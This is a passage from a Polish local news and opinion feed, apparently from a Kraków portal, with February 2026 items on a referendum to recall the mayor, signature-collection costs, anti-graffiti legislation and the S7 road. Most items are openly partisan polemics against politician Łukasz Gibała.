byłyby kandydatem "świeżym", a nawet "obywatelskim". Niczym Nawrocki. Mógłby udawać, że nie jest "pisiorem", a kandydatem "obywatelskim". Na pewno nie kojarzy się z twardym elektoratem PiS-u. Po piąte: dobrze wygląda. A w polityce to ważne. Mariusz Andrzejewski / Zdjęcie pochodzi z FB Mariusza Andrzejewskiego Kraków to dziś miasto mocno spolaryzowane, lecz jednocześnie coraz bardziej wrażliwe na kwestie jakości życia: transport, zieleń, chaos inwestycyjny, mieszkania. Kandydat partii ogólnopolskiej musi przekonać wyborców, że nie jest tylko politycznym szyldem, lecz realną alternatywą dla obecnego układu. Referendum – jeśli do niego dojdzie – stanie się czymś więcej niż oceną jednej osoby. Będzie testem nastrojów. Testem zmęczenia. Testem tego, czy mieszkańcy chcą rewolucji, czy raczej korekty kursu. A PiS? Partia znajdzie się w klasycznej sytuacji: czy postawić na sprawdzone nazwisko, które „zawsze jest pod ręką”, czy jednak zaryzykować świeżą twarz? Problem w tym, że świeże twarze nie rosną na Plantach jak kasztany. ZOBACZ TAKŻE: Lider krakowskiego PSL-u: "Miszalski sam dolewa oliwy do ognia" [WYWIAD] Twarze zużyte lub mocno kojarzone z PiS-em, w Krakowie raczej większych szans nie mają. Ale Andrzejewski? ON już może namieszać. I, paradoksalnie, w starcie w wyborach może mu zaszkodzić sam... PiS. A konkretniej, ci wszyscy lokalni liderzy z wybujałym ego, dla których polityka to sens życia, uważający, że to oni są najlepszymi kandydatami na prezydenta, mimo że ich poparcie ani przez moment nie jest większe niż poparcie partii. Jednak to oni już kilka razy nie zgodzili się, by to profesor UEK-u reprezentował ich w wyborach. Najbliżej tego celu był w 2018 roku, ale wówczas partia postawiała ostatecznie na Małgorzatę Wassermann.   Dzis jednak w kuluarach znów słychać: „A może jednak Andrzejewski?”. ZOBACZ TAKŻE: Urynowicz: "Referendum to potyczka Miszalskiego i Gibały" [WYWIAD]

Więcej…

Kraków ma DOŚĆ! Koniec pobłażania. Będzie zaostrzenie prawa

Kraków ma DOŚĆ! Koniec pobłażania. Będzie zaostrzenie prawa

19 lutego 2026 | 10:10

Kraków idzie na wojnę z wandalami. Powstał Parlamentarny Zespół ds. Przeciwdziałania Wandalizmowi i Nielegalnemu Graffiti, a krakowscy politycy grają w nim główne role. Nic dziwnego, bo nasze miasto od lat boryka się z niszczeniem budynków, głównie przez kiboli. Kraków ma dość bazgrołów na elewacjach, przystankach i zabytkach. W odpowiedzi na narastający problem powołano Parlamentarny Zespół ds. Przeciwdziałania Wandalizmowi i Nielegalnemu Graffiti. Na jego czele stanęła senator z Krakowa, Monika Piątkowska. Wiceprzewodniczącym został krakowski poseł, Dominik Jaśkowiec, a jednym z członków zespołu jest kolejny krakowski parlamentarzysta – Jerzy Meysztowicz. W pierwszym spotkaniu zespołu uczestniczył także krakowski radny Tomasz Daros. Samorządy co roku wydają miliony złotych na usuwanie zniszczeń, a sprawcy często pozostają bezkarni. Kamienice, szkoły, przystanki, zabytki są niszczone, a mieszkańcy płacą za to z własnych podatków. To nie jest kwestia „estetyki”. To kwestia bezpieczeństwa, porządku i szacunku do wspólnej przestrzeni – podkreśla senator Piątkowska. Jak zapowiada przewodnicząca zespołu, prace mają skupić się na konkretnych rozwiązaniach: skuteczniejszym egzekwowaniu kar uproszczeniu procedur realnym wzmocnieniu kompetencji gmin Parlamentarny Zespół ds. Przeciwdziałania Wandalizmowi i Nielegalnemu Graffiti Problem nielegalnego graffiti od lat dotyka Kraków. Miasto regularnie zalewane jest napisami i symbolami, często powiązanymi ze środowiskami kiboli piłkarskich klubów. Usuwanie bazgrołów kosztuje miliony złotych rocznie, a efekty są krótkotrwałe. Nowe napisy pojawiają się niemal natychmiast. Nielegalne graffiti to nie „sztuka ulicy”. To realne straty dla wspólnot mieszkaniowych, przedsiębiorców i miasta. To zniszczone elewacje, koszty ponoszone przez mieszkańców i poczucie bezkarności sprawców – mówi radny Daros, który był w Warszawie jako przewodniczący zespołu ds. przeciwdziałania nielegalnemu graffiti w Krakowie. Politycy z Krakowa przekonują, że nikt nie zna skali problemu lepiej niż oni. Teraz zapowiadają, że walka z wandalizmem ma wyjść poza poziom lokalny i zyskać realne wsparcie legislacyjne. Czy nowe przepisy okażą się skuteczne? Mieszkańcy czekają na konkretne efekty. I czyste ściany. 

Więcej…

Ile dziennie kosztuje zbieranie podpisów pod listą referendalną?

Ile dziennie kosztuje zbieranie podpisów pod listą referendalną?

19 lutego 2026 | 09:43

Ile kosztuje akcja referendalna? Na to pytanie pełną odpowiedź zna zapewne wyłącznie Łukasz Gibała. Sam zresztą przyznał, że płaci ludziom za zbieranie podpisów. I nie ma w tym nic nagannego – pod warunkiem, że nie nazywamy tych ludzi wolontariuszami. Wolontariat z definicji jest bowiem pracą dobrowolną i świadczoną BEZPŁATNIE. Wróćmy jednak do kosztów. Osoby z zewnątrz mogą jedynie próbować je oszacować na podstawie niepełnych informacji oraz dostępnych publicznie ogłoszeń. Spróbujmy więc przeprowadzić ostrożne, modelowe wyliczenie, opierając się na kilku założeniach. Załóżmy hipotetycznie, że podpisy zbiera 100 opłacanych pracowników. Z ogłoszeń pojawiających się w internecie wynika, że stawka wynosi około 57 złotych brutto za godzinę. Przyjmijmy również, że każda z tych osób pracuje średnio 8 godzin dziennie. W takim wariancie proste działanie matematyczne wygląda następująco: 100 pracowników × 57 zł × 8 godzin = 45 600 zł dziennie. Oznacza to, że przy przyjętych parametrach dzienny koszt samego zbierania podpisów mógłby wynosić blisko 50 tys. zł. Jeśli akcja trwałaby 60 dni (to maksymalny czas zbierania podpisów), całkowity koszt pracy osób zbierających podpisy wyniósłby: 45 600 zł × 60 dni = 2 736 000 zł. Dwa miliony siedemset trzydzieści sześć tysięcy złotych. Tyle – przy przyjętych założeniach – mogą wynieść koszty samego zbierania podpisów. Do tego należy doliczyć całą masę innych kosztów: opłaty administracyjne, obsługa prawna, druk materiałów, kampania informacyjna, przygotowanie strony internetowej, przygotowanie banerów, transport, koszty logistyczne, obsługa księgowa i finansowa, wynajem lokali, wydłużenie czasu pracy lokali... Warto raz jeszcze podkreślić, że powyższe wyliczenia mają charakter wyłącznie orientacyjny i opierają się na przyjętych, uproszczonych założeniach. Nawet jeśli zmienimy część parametrów – zmniejszymy liczbę osób, skrócimy czas pracy czy przyjmiemy inną stawkę godzinową – trudno obronić tezę, że tak szeroko zakrojona akcja nie generuje znaczących kosztów. ZOBACZ TAKŻE: Serce bije szybciej, gdy w portfelu coś szeleści. A gdy szeleści, to wiadomo – od Gibały Skala organizacyjna przedsięwzięcia sprawia, że mówimy o poważnych środkach finansowych, a nie symbolicznych wydatkach. W tym sensie opowieści o tym, że referendum „wcale nie jest drogie” i nie stoją za nim duże pieniądze, należy traktować jak żenujący żart dla naiwnych. To rozbudowana, kosztowna operacja, prowadzona pod politycznym hasłem „Kupmy sobie Kraków”.

Więcej…

Wantuch: "W GDDKiA pracują sami kretyni, którzy nie potrafią narysować kawałka drogi"

Wantuch: "W GDDKiA pracują sami kretyni, którzy nie potrafią narysować kawałka drogi"

16 lutego 2026 | 13:00

Od samego początku mówiłem, że w GDDKiA pracują sami kretyni, którzy nie potrafią narysować kawałka drogi. Teraz czas, aby w końcu do projektowania S7 zabrali się fachowcy - tymi słowami Łukasz Wantuch skomentował odrzucenie WSZYSTKICH wariantów bidpwy drogi S7 na jej krakowskim odcinku. Zgodnie z zapowiedzią ministra infrastruktury Dariusza Klimczaka, prace projektowe nad przebiegiem S7 przejmie teraz centrala GDDKiA. Na najbliższe tygodnie zaplanowano dalsze analizy i konsultacje społeczne – rząd i inwestorzy wrócą do prac projektowych, aby wypracować warianty akceptowalne zarówno technicznie, jak i społecznie. - Wariant społeczny" nie jest jakaś bzdurą wymyśloną, żeby populistycznie uspokoić emocje społeczne, tylko realnym rozwiązaniem. Zawsze tak twierdziłem, co można łatwo sprawdzić - komentuje Wantuch. - Istnieje realna szansa, że brakujący odcinek S7 powstanie jeszcze w tym stuleciu, gdyż teraz prace ruszą do przodu. W imieniu większości mieszkańców Krakowa, dziękuje wszystkim, którzy się do tego przyczynili - uważa była krakowski radny.

Więcej…

Referendalna desperacja. Gibała otwiera drzwi dla "nowych" wyborców

Referendalna desperacja. Gibała otwiera drzwi dla "nowych" wyborców

15 lutego 2026 | 18:54

Są takie momenty w życiu miasta, gdy słowa „prawo” i „przyzwoitość” zaczynają się rozchodzić. Formalnie wszystko się zgadza. Moralnie – coś tu zgrzyta. I to bardzo. Szef „Krakowa dla Mieszkańców”, Łukasz Gibała, apeluje o podpisy pod wnioskiem referendalnym. Podpisów „ciągle przybywa”, ale – jak sam przyznaje – „wciąż potrzeba ich o wiele więcej”. I tu zaczyna się akrobacja. Bo kiedy brakuje krakowskich podpisów, nagle okazuje się, że można – a nawet warto – sięgnąć szerzej. Bez stałego meldunku? Żaden problem. Wystarczy dopisać się do rejestru wyborców, pokazać umowę najmu, rachunek, oświadczenie właściciela i... gotowe. Pięć minut i już można „decydować o przyszłości miasta”. Pytanie RETORYCZNE brzmi: czy to jeszcze obywatelska mobilizacja, czy już polityczna desperacja? źródło: FB Gibały Referendum w sprawie ewidentnie krakowskiej – dotyczącej przestrzeni, pieniędzy, kierunku rozwoju miasta – powinno być wyrazem woli wspólnoty. Wspólnoty realnej, zakorzenionej, żyjącej tu nie „na papierze”, lecz na co dzień: w korkach, w smogu, w sporach o zabudowę, w walce o zieleń. Jeśli ta wspólnota nie garnie się masowo do podpisywania wniosku, to może warto zadać sobie pytanie: dlaczego? Zamiast tego dostajemy instruktaż, jak administracyjnie poszerzyć elektorat. Oczywiście, zgodnie z prawem. Nikt tu nie łamie przepisów. Ale czy naprawdę o to chodziło w idei ruchu, który w nazwie ma „mieszkańców”? Czy „mieszkaniec” to ktoś, kto czuje odpowiedzialność za miasto, czy ktoś, kto zdążył wypełnić formularz? Najbardziej uderza ton moralnej wyższości: „Każdy ma prawo decydować o przyszłości miasta”. To prawda. Ale prawo to nie to samo co legitymacja. Jeśli kampania referendalna musi być ratowana apelem do osób spoza naturalnego kręgu wyborców, to sygnał jest jasny – entuzjazm wśród tych, którzy naprawdę tworzą lokalną tkankę, nie jest wystarczający. Można powiedzieć: takie są reguły gry. Owszem. Tylko że jeszcze niedawno politycy tego środowiska przekonywali, że są alternatywą dla cynicznej, „technicznej” polityki. Że stawiają na autentyczność, oddolność, realny głos mieszkańców. Dziś zamiast oddolności mamy poradnik administracyjny. Zamiast spontanicznej mobilizacji – instrukcję obejścia problemu braku podpisów. To nie jest kwestia legalności. To kwestia wiarygodności. Bo jeśli zbieranie podpisów idzie opornie, może oznacza to, że temat nie rozpala miasta tak, jak chcieliby organizatorzy. A może krakowianie – ci prawdziwi, codzienni – nie są przekonani, że referendum jest im potrzebne. W demokracji nie wszystko da się „dowypełnić formularzem”. Czasem brak podpisów jest odpowiedzią samą w sobie. I zamiast szukać ich poza naturalnym kręgiem poparcia, warto zastanowić się, czy problem nie leży bliżej niż się wydaje: w samej idei, narracji albo zaufaniu. Bo miasto to nie rubryka w rejestrze. To wspólnota. A zaufania nie da się dopisać w pięć minut.

Więcej…

Najdłuższa kampania wyborcza świata. Na pomoc Gibale przychodzi brat

Najdłuższa kampania wyborcza świata. Na pomoc Gibale przychodzi brat

13 lutego 2026 | 06:22

– Prób było już wiele, a zapał ciągle nie stygnie. Teraz się uda? Łukasz Gibała od kilkunastu lat marzy o tym, by zostać prezydentem Krakowa – donosi portal KR24.pl. Już nie tylko my, nie tylko Anna Grodzka (była koleżanka partyjna Gibały), nie tylko Jacek Majchrowski (były kontrkandydat w wyborach), nie tylko lokalni politycy (dobrze znający Gibałę), ale kolejny już portal (tym razem KR24.pl) zauważył marzenia o władzy człowieka, który już trzykrotnie przegrał wybory i do tej pory sprawia wrażenie, jakby nigdy nie pogodził się z porażką. ZOBACZ TAKŻE: UJAWNIAMY! Jak (i za ile) media pomagają Gibale zostać prezydentem – Po żadnej z tych porażek nie zniechęcił się. Ba, od razu przechodził do walki o kolejne głosy mieszkańców Krakowa. W zasadzie od kilkunastu lat prowadzi nieustanną kampanię wyborczą. Być może najdłuższą tego typu kampanię w kraju. Dziś prowadzi ją w bardzo profesjonalny sposób – pisze KR24.pl. – Jego brat, Bartosz Gibała to krakowski deweloper, ale równocześnie jest prezesem fundacji ″Zróbmy sobie Kraków″. To ważny element w kampanii Gibały, bo fundacja, konkretnymi działaniami chce pokazać, jak miałby działać w roli prezydenta. Z każdą pomocową akcją zyskuje kolejny mocny elektorat – czytamy. – Referendum spada mu pod nogi niczym dar z niebios. Zdoła wykorzystać tę szansę? – zastanawia się autor tekstu. Cały przeczytacie pod tym linkiem: Najdłuższa kampania wyborcza świata. Gibała prowadzi ją od kilkunastu lat. źródło: KR24.pl ZOBACZ TAKŻE: Broszura dla "kumatych", komiks dla reszty. Propaganda Gibały szyta na miarę

Więcej…

Gibała, z przyklejonym uśmiechem, rozdaje pączki

Gibała, z przyklejonym uśmiechem, rozdaje pączki

12 lutego 2026 | 13:31

W Tłusty Czwartek, kiedy naród tonie w lukrze, a cholesterol rośnie szybciej niż sondaże w PowerPoincie, na ulice Krakowa wyruszył on – Łukasz Gibała. Z przylepionym uśmiechem numer 74 (bo poprzednie 73 najwyraźniej nie przeszły focusów) rozdawał mieszkańcom pączki. Kampania wyborcza trwa więc w najlepsze. A raczej: w najsłodsze. Tylko po co radny rozdaje pączki? Wyobrażam sobie te narady: – Panie Łukaszu, trzeba wyjść do ludzi. – To może z projektem uchwały? – Nie, nie, broń Boże. Z pączkiem. I tak oto radny stoi na ulicy jak żywy roll-up z marmoladą i rozdaje kalorie w imię demokracji. Jest sztuczny uśmiech. Jest lukier. Jest zdjęcie na Facebooka. Najlepsze jest to, że ten uśmiech – ten legendarny, kampanijny uśmiech – wyglądał jakby ktoś go przykleił taśmą dwustronną. źródło: FB Gibały A przecież pamiętamy, że Gibała miał przeszłość w partii Janusza Palikota. A tam, jak wiemy, polityczny performance bywał bardziej ekspresyjny niż parada smoków. Palikot chodził kiedyś z wibratorem, świńskim łbem czy pistoletem, robiąc z polityki kabaret w wersji bez cenzury. Więc pytanie brzmi: co dalej? Dziś pączek. Jutro może gofrownica na Plantach? Pojutrze wata cukrową przed magistratem? A jak i tego będzie mało, to Gibała zacznie uszczęśliwiać krakowian wibratorem? Palikot z dildo Absurd polega na tym, że zamiast rozmowy o konkretach, dostajemy festyn. Zamiast wizji – lukier. Zamiast planu dla miasta – nadzienie różane. ZOBACZ TAKŻE: UJAWNIAMY! Jak (i za ile) media pomagają Gibale zostać prezydentem Bo jeśli polityka ma polegać na rozdawaniu pączków, to ja poproszę dwie sztuki: jedną z marmoladą, a drugą z programem. Tę drugą, jak dotąd, od Gibały dostać najtrudniej.

Więcej…

UJAWNIAMY! Jak (i za ile) media pomagają Gibale zostać prezydentem

UJAWNIAMY! Jak (i za ile) media pomagają Gibale zostać prezydentem

12 lutego 2026 | 07:25

Zaczynali od 500 złotych przychodu w skali całego roku. Tak: 500 złotych! Finansowa pustynia. Hobbystyczny projekt na granicy przetrwania. A potem pojawił się ON: Łukasz Gibała. I nagle wydarzył się cud. Przychody zaczęły rosnąć lawinowo: do dziesiątek, a później do ponad 160 tysięcy złotych rocznie. Przypadek? Łukasz Gibała prezydentem Krakowa chciałby zostać od dawna. Bardzo dawna. Tak dawna, że w krakowskich kuluarach to już nie ambicja, tylko stały element krajobrazu. Jak gołębie na Rynku i korki na Alejach. W realizacji tego planu Łukaszowi potrzebne były media. Przychylne mu media. I w te media postanowił zainwestować. W moim przekonaniu, rządzenie Krakowem to jego plan już od dawna. To, co robił, gdy jeszcze był posłem Ruchu Palikota wskazywało, że chce być prezydentem  – mówiła Anna Grodzka, z którą rozmawiałem będąc jeszcze dziennikarzem portalu KRKnews.pl, co możecie przeczytać tutaj. Gibała od 17 lat przebiera nogami, by być prezydentem – to z kolei Jacek Majchrowski w rozmowie z Kanałem Krakowskim, którą możecie przeczytać tutaj. 500 złotych przychodu rocznie Ale po kolei. Niegdyś w Krakowie pojawił się portal Krowoderska. Na początku był to projekt niemal romantyczny. Mocno satyryczny, prześmiewczy, bezczelny, ironiczny do bólu. Założony przez pasjonatów, którzy potrafili grillować władze miasta jednym akapitem, a prezydenta Jacka Majchrowskiego krytykowali z wdziękiem, jakiego próżno było szukać w oficjalnych mediach. Czytało się to dobrze. Momentami nawet bardzo zabawnie. Problem był jeden: ironią i żartem dzieci nie wykarmisz, na chleb nie zrobisz. Więc tu kończą się żarty, a zaczynają liczby. Fakty są takie: Fundacja będąca wydawcą portalu Krowoderska: w 2018 roku osiągnęła 4 100 zł przychodu, w 2019 roku – 500 zł. Finansowa pustynia. Publicystyczna wolność, ale w portfelu echo. Współpraca z Gibałą I nagle kwiecień 2020 roku. Portal już oficjalnie chwali się współpracą z… Łukaszem Gibałą. Tym samym, który w tym czasie intensywnie budował swoje polityczne zaplecze i szukał przychylności mediów, które mogłyby pomóc mu w drodze do fotela prezydenta Krakowa. źródło: krowoderska.pl Umowa zostaje podpisana. A potem dzieje się coś, co księgowi lubią najbardziej. 2020 rok – przychody fundacji: 80 tys. zł, 2021 – 150 tys. zł, 2022 – 150 tys. zł, 2023 – 161 tys. zł, 2024 – 98 tys. zł. Z 500 zł do dziesiątek, a potem setek tysięcy. Skok godny tyczkarza olimpijskiego. grafika: Kanał Krakowski Oczywiście: korelacja to nie dowód. Nikt nie twierdzi, że podpisanie umowy z Łukaszem Gibałą automatycznie przełożyło się na zmianę tonu, linii redakcyjnej czy nagły przypływ sympatii. Ale trudno nie zauważyć, że moment finansowego przełomu portalu zbiegł się w czasie z politycznymi ambicjami człowieka, który od lat chce zostać prezydentem Krakowa. Prezydenckie ambicje Gibały Krowoderska przestała tonąć. Zaczęła pływać. A z czasem całkiem sprawnie utrzymywać się na powierzchni. I to już nie była publicystyczna partyzantka ani ironiczny „fanzin” tworzony po godzinach, lecz projekt, który nagle znalazł stabilne źródło (lub źródła) finansowania. Czy to opowieść o naturalnym dojrzewaniu mediów? O tym, że nawet najbardziej buntownicza satyra w końcu musi zapłacić rachunki? A może o tym, jak polityczne ambicje spotykają się z medialnymi potrzebami, dokładnie w tym samym czasie i miejscu? Kraków zna takie historie. Tu przypadki lubią chodzić parami, a zbiegi okoliczności regularnie układają się w ciągi. Jedno natomiast nie ulega wątpliwości: Łukasz Gibała od lat bardzo chce zostać prezydentem Krakowa. I, jak pokazują nie tylko deklaracje, ale też twarde liczby: do tego celu nie idzie na skróty, lecz bardzo konsekwentnie buduje swoje zaplecze. Również to medialne. ZOBACZ TAKŻE: Wiemy, ile miasto zapłaci za organizację referendum

Więcej…

Broszura dla "kumatych", komiks dla reszty. Propaganda Gibały szyta na miarę

Broszura dla "kumatych", komiks dla reszty. Propaganda Gibały szyta na miarę

11 lutego 2026 | 11:25

Kampania ruszyła na całego! Do zakładów pracy, biur, korporacji i instytucji, gdzie zwykle królują regulaminy, pieczątki i zapach drukarki laserowej, zaczęły trafiać nowe „materiały informacyjne”. Leżą grzecznie na stolikach: jedne udają ambitną publicystykę, drugie – kolorowe komiksy z wielkimi literami i jeszcze większym przesłaniem. Oferta kompletna. Segmentacja rynku dopracowana. Dla bardziej inteligenckiej klienteli – broszurka: kreska oszczędna, ironia podszyta poczuciem wyższości, hasła, które mają sprawiać wrażenie, że czytelnik sam doszedł do wniosków. Dla reszty – wersja obrazkowa. Komiks. Bo przecież nie każdy ma czas czytać całe zdania. Niektórzy wolą, jak im się pokazuje palcem i mówi wolno. To nie jest prasa. To gadzinówka w dwóch formatach: „dla kumatych” i „dla tych, co wolą oglądać”. Jedna do kawy, druga do poczekalni. Obie z tym samym przekazem, tylko inną czcionką. ZOBACZ TAKŻE: Wiemy, ile miasto zapłaci za organizację referendum A nad tym wszystkim unosi się głos Gibały – prosty, donośny, skierowany dokładnie tam, gdzie trzeba. Bez niuansów, bez wątpliwości. Bo po co pokazywać rzeczywistość, skoro można ją wykreować i narysować w trzech kadrach i dymku? Najzabawniejsze (albo najsmutniejsze) jest to, że nikt już nawet nie udaje, że chodzi o debatę. To raczej test: czy wolisz czytać, czy oglądać? Jeśli czytasz – dostaniesz „analizę”. Jeśli oglądasz – dostaniesz bohatera w pelerynie i antagonistę rysowanego czarną kreską. ZOBACZ TAKŻE: Desperacka walka Gibały i Młodzieży Wszechpolskiej o podpisy Krakowianie widzieli już wiele. Ale tak bezczelnego wciskania propagandy w wersji „light” i „extra light” dawno nie było. Teraz pozostaje tylko pytanie: czy następnym krokiem będzie audiobook? Dla tych, którym nawet komiks to za dużo wysiłku. Bo gadzinówka, jak widać, nie zniknęła. Ona po prostu dostosowała się do poziomu odbiorcy.

Więcej…

Polityk, który nie rozmawia, ale się tłumaczy. "Czy stać Pana na taką awangardę?"

Polityk, który nie rozmawia, ale się tłumaczy. "Czy stać Pana na taką awangardę?"

10 lutego 2026 | 19:24

Niby z nami nie gada. To znaczy: na serio nie gada. Niby nas ignoruje. Niby nie zauważa. A tu proszę! Okazuje się, że Łukasz Gibała pała do nas jakimś uczuciem. A już na pewno – i to jest fakt – bardzo się z nami liczy. Nie tak dawno dostaliśmy na Facebooku odznakę „lidera wśród fanów” pana Łukasza. Niby drobiazg. Niby nic wielkiego. Ale jednak człowieka to cieszy. Bo odznaki nie biorą się znikąd. Ktoś musi patrzeć, czytać, reagować. Nawet jeśli oficjalnie „nie gada”. To jednak, co wydarzyło się dziś, ucieszyło nas jeszcze bardziej. Rano opublikowaliśmy tekst, w którym napisaliśmy wprost, że Łukasz Gibała desperacko walczy o podpisy, że gra toczy się o honor referendum, a zbiórka wcale nie idzie tak dobrze, jak próbują przekonywać jego współpracownicy. Że trzeba było wydłużyć godziny funkcjonowania biura. Że w ruch poszli emisariusze, wysyłani do ludzi, by ratować sytuację i zbierać podpisy, gdzie się tylko da. Tekst Tekst był konkretny, oparty na informacjach, bez lania wody. Dostępny jest tutaj: Desperacka walka Gibały i Młodzieży Wszechpolskiej o podpisy I dosłownie kilka minut po publikacji… Łukasz Gibała zareagował. Tak jakby chciał nam zaprzeczyć. Tak jakby bał się, że ludzie uznają, iż znowu to my stanęliśmy po stronie prawdy. Tak jakby nie mógł zostawić tego bez odpowiedzi. I proszę bardzo: pojawia się post. Że wcale nie jest źle. Że jest wręcz wyśmienicie. Że wszystko idzie zgodnie z planem, a podpisy same niemal spływają szerokim strumieniem. źródło: FB Gibały Przypadek? Oczywiście. Zawsze „przypadek”. My nie twierdzimy, że pan Łukasz czyta każdy nasz tekst. Nie twierdzimy, że nerwowo odświeża stronę i czeka, co znów napiszemy. Broń Boże. Ale fakty są uparte: publikujemy tekst – jest reakcja. I to jest chyba najlepsze podsumowanie naszej roli. Skoro polityk, który rzekomo nas nie zauważa, reaguje szybciej niż jego sztab to znaczy, że jednak warto czytać, co piszemy. A skoro reaguje nerwowo to znaczy, że trafiamy tam, gdzie boli. Na koniec więc tylko jedno: Panie Łukaszu, skoro już się Pan z nami liczy, to proszę się nie krępować i zgodzić się na rozmowę. Autoryzowaną, oczywiście. My zadamy pytania, Pan odpowie. Prosto, jasno, bez gierek. Ale prosimy bez klasycznego manewru: „proszę kontaktować się z panią od PR-u” albo „proszę przesłać pytania mailem”. Nie. Porozmawiajmy normalnie. Twarzą w twarz. Bez pośredników, bez bezpiecznych buforów, bez wycinania niewygodnych tematów. Czy stać Pana na taką awangardę?

Więcej…

Wiemy, ile miasto zapłaci za organizację referendum

Wiemy, ile miasto zapłaci za organizację referendum

10 lutego 2026 | 12:12

Nawet trzy miliony złotych będzie kosztować organizacja referendum w Krakowie. To koszty, które poniesie miasto, jeśli głosowanie za odwołaniem prezydenta Aleksandra Miszalskiego dojdzie do skutku. Do tego doliczyć należy kolejne miliony wydane na organizację przedterminowych wyborów. Na ten moment trudno podać koszty organizacji referendum co do złotówki, ale szacunki można oprzeć na wyliczeniach sprzed kilku lat. Oczywiście, dziś te koszty będą zdecydowanie wyższe. – Należy mieć na uwadze, że to kalkulacja sprzed pięciu lat, a sytuacja gospodarcza, ekonomiczna i ta związana z rynkiem pracy oraz z wynagrodzeniami uległy zmianie – informuje krakowski magistrat. W oparciu o koszty poniesione przy organizacji pierwszej tury wyborów na Prezydenta RP w 2020 roku, urząd miasta oszacował, że  organizacja referendum lokalnego w 2021 roku wyniosłaby od 2 050 000 do 2 350 000 złotych.  Dziś, po pięciu latach, ta kwota oscyluje w okolicach 3 milionów złotych. Na koszt całkowity składają się:  Koszty diet członków MKW i OKW (koszt zależny od liczby osób w komisjach i wysokości diet jednostkowych). Koszty organizacyjne – przygotowania i przeprowadzenia referendum (w tym umowy zlecenia). Czynności do wykonania:•    spisy wyborców,•    wydruk materiałów wyborczych - poligrafia,•    przygotowywanie geografii wyborczej,•    obsługa obwodowych komisji wyborczych - lokali,•    obsługa obwodowych komisji wyborczych - składy,•    dyżury w dzień referendum,•    korespondencja z wykonawcami, szkołami, instytucjami,•    listy wypłat diet – obsługa finansowa,•    sporządzenie umów ich rejestracja i  ich rozliczenie,•    wysyłka powiadomień i SMS,•    obsługa wyborców niepełnosprawnych,•    obsługa telefoniczna meldunków w dniu wyborów,•    zakupy materiałów dla OKW i ich dystrybucja,•    obsługa informatyczna Miejskiej Komisji Wyborczej i operatorów,•    Urzędnik Wyborczy,•    obsługa budżetu i rozliczenie referendum.Łącznie przy obsłudze wyborów pracuje od 180-200 pracowników. Koszty obsługi informatycznej - operatorzy w OKW (umowy zlecenia). Koszty obsługi lokali wyborczych (gospodarze budynków). Umowy zlecenia z pracownikami szkół i innych instytucji udostępniających budynek na siedziby OKW. Koszty transportu (rozwiezienie wyposażenia i kart do głosowania, transport przewodniczących OKW z wynikami i zwiezienie materiałów powyborczych do miejsca składowania). Środki dezynfekujące i środki ochrony osobistej. Koszty wydruku kart do głosowania i obwieszczeń urzędowych, protokołów itp. (koszt zależny od liczby i formatu). Sporządzenie spisu wyborców i druków. Koszty ekspozycji obwieszczeń (w zależności od zakresu). Wyposażenie lokali wyborczych  (parawany, flagi, godła). Zaopatrzenie OKW w materiały biurowe. Zapewnienie transportu dla wyborców z niepełnosprawnościami. Ryczałt za telefony komórkowe dla przewodniczących OKW. To koszty organizacji samego referendum. Jeśli mieszkańcy odwołają Aleksandra Miszalskiego, wówczas odbędą się przedterminowe wybory. Koszt ich organizacji to kolejne około trzy miliony złotych.  A jeśli – co najbardziej prawdopodobnie – dojdzie do drugiej tury wyborów na prezydenta Krakowa, wówczas całość może kosztować miasto około 9 milionów złotych. ZOBACZ TAKŻE: Desperacka walka Gibały i Młodzieży Wszechpolskiej o podpisy

Więcej…

Desperacka walka Gibały i Młodzieży Wszechpolskiej o podpisy

Desperacka walka Gibały i Młodzieży Wszechpolskiej o podpisy

10 lutego 2026 | 10:09

Oddolny zryw mieszkańców? Tylko dla naiwnych. Gdyby podpisów było tak wiele, jak zapewniają organizatorzy, nikt nie płaciłby ludziom za zbiórkę, nie przedłużał godzin pracy biura i nie wysyłał emisariuszy po każdy pojedynczy autograf. To nie entuzjazm społeczny – to polityczna walka o przetrwanie projektu Gibały. Tylko ślepym, głuchym i wyjątkowo naiwnym trzeba dziś tłumaczyć, że zbieranie podpisów pod referendum w sprawie odwołania prezydenta Krakowa nie ma nic wspólnego z „oddolną akcją obywateli”. To nie spontaniczny zryw mieszkańców, lecz polityczna operacja, prowadzona z pełną świadomością celu i konsekwencji. I nawet chyba nikt już specjalnie nie próbuje tego ukrywać. Maski opadły, a spod nich wyjrzały twarze skrajnej prawicy, politycznych radykałów i samego Gibały. Zbieranie podpisów miało iść – jak przekonują organizatorzy – wręcz lepiej niż wyśmienicie. W medialnej narracji pojawiają się opowieści o „pierdyliardzie” podpisów (prosze wybaczyć kolokwializm, ale kto by to jeszcze liczył), o masowym poparciu i społecznej fali, która rzekomo sama niesie referendum do sukcesu. Tymczasem rzeczywistość brutalnie skrzeczy. Bo jeśli podpisów faktycznie jest aż nadto, to dlaczego Łukasz Gibała dwoi się i troi, by w ogóle dobić do wymaganej liczby? Najpierw zaczął płacić ludziom, by w ogóle chcieli zbierać podpisy. ZOBACZ: Serce bije szybciej, gdy w portfelu coś szeleści. A gdy szeleści, to wiadomo – od Gibały Potem przedłużył godziny otwarcia swojego biura, by umożliwić dowożenie kolejnych list. A teraz? Teraz wysyła swoich ludzi, by odbierali pojedyncze podpisy bezpośrednio od mieszkańców. Oczywiście wszystko pod szlachetną przykrywką „troski o wykluczonych”. źródło: KdM I jasne, nikt nie odmawia żadnej grupie społecznej prawa do złożenia podpisu. Tyle że jeśli zbiórka rzeczywiście „idzie tak świetnie”, to dla powodzenia referendum nie ma żadnego znaczenia, czy podpisów jest 80 tysięcy czy 800 tysięcy. Ma natomiast ogromne znaczenie, czy jest ich 57 czy 60 tysięcy. Czyli: dokładnie na styku. Dlatego Gibała wchodzi w kolejne koszty tylko po to, by dosypać następne pojedyncze podpisy – te niby masowo składane przez „wkurzonych mieszkańców”. ZOBACZ TAKŻE: Opłacani "wolontariusze" chodzą po domach i proszą o PESEL Czy tak wygląda akcja, która „idzie sama”? Coraz bardziej przypomina to nerwowe liczenie każdego nazwiska na liście. Każdego podpisu, o który trzeba zabiegać, czasem niemal wyrywać go z rąk przechodniów. A wszystko to przy rosnących wydatkach. Przypomnijmy: miało być oddolnie, obywatelsko i prawie za darmo. fot. Kanał Krakowski Tymczasem pieniądze są dokładane na logistykę, ludzi w terenie i dłuższą pracę biura. Po co? By dowieźć brakujące dwa–trzy tysiące podpisów? A może już tylko kilkaset? Konkretne liczby zniknęły z przekazu, za to narracja o „ogromnym sukcesie” brzmi coraz bardziej jak zaklinanie rzeczywistości. I tu dochodzimy do sedna. To nie jest żadna obywatelska inicjatywa. To polityczny zryw. I mówią o tym sami politycy. Wystarczy 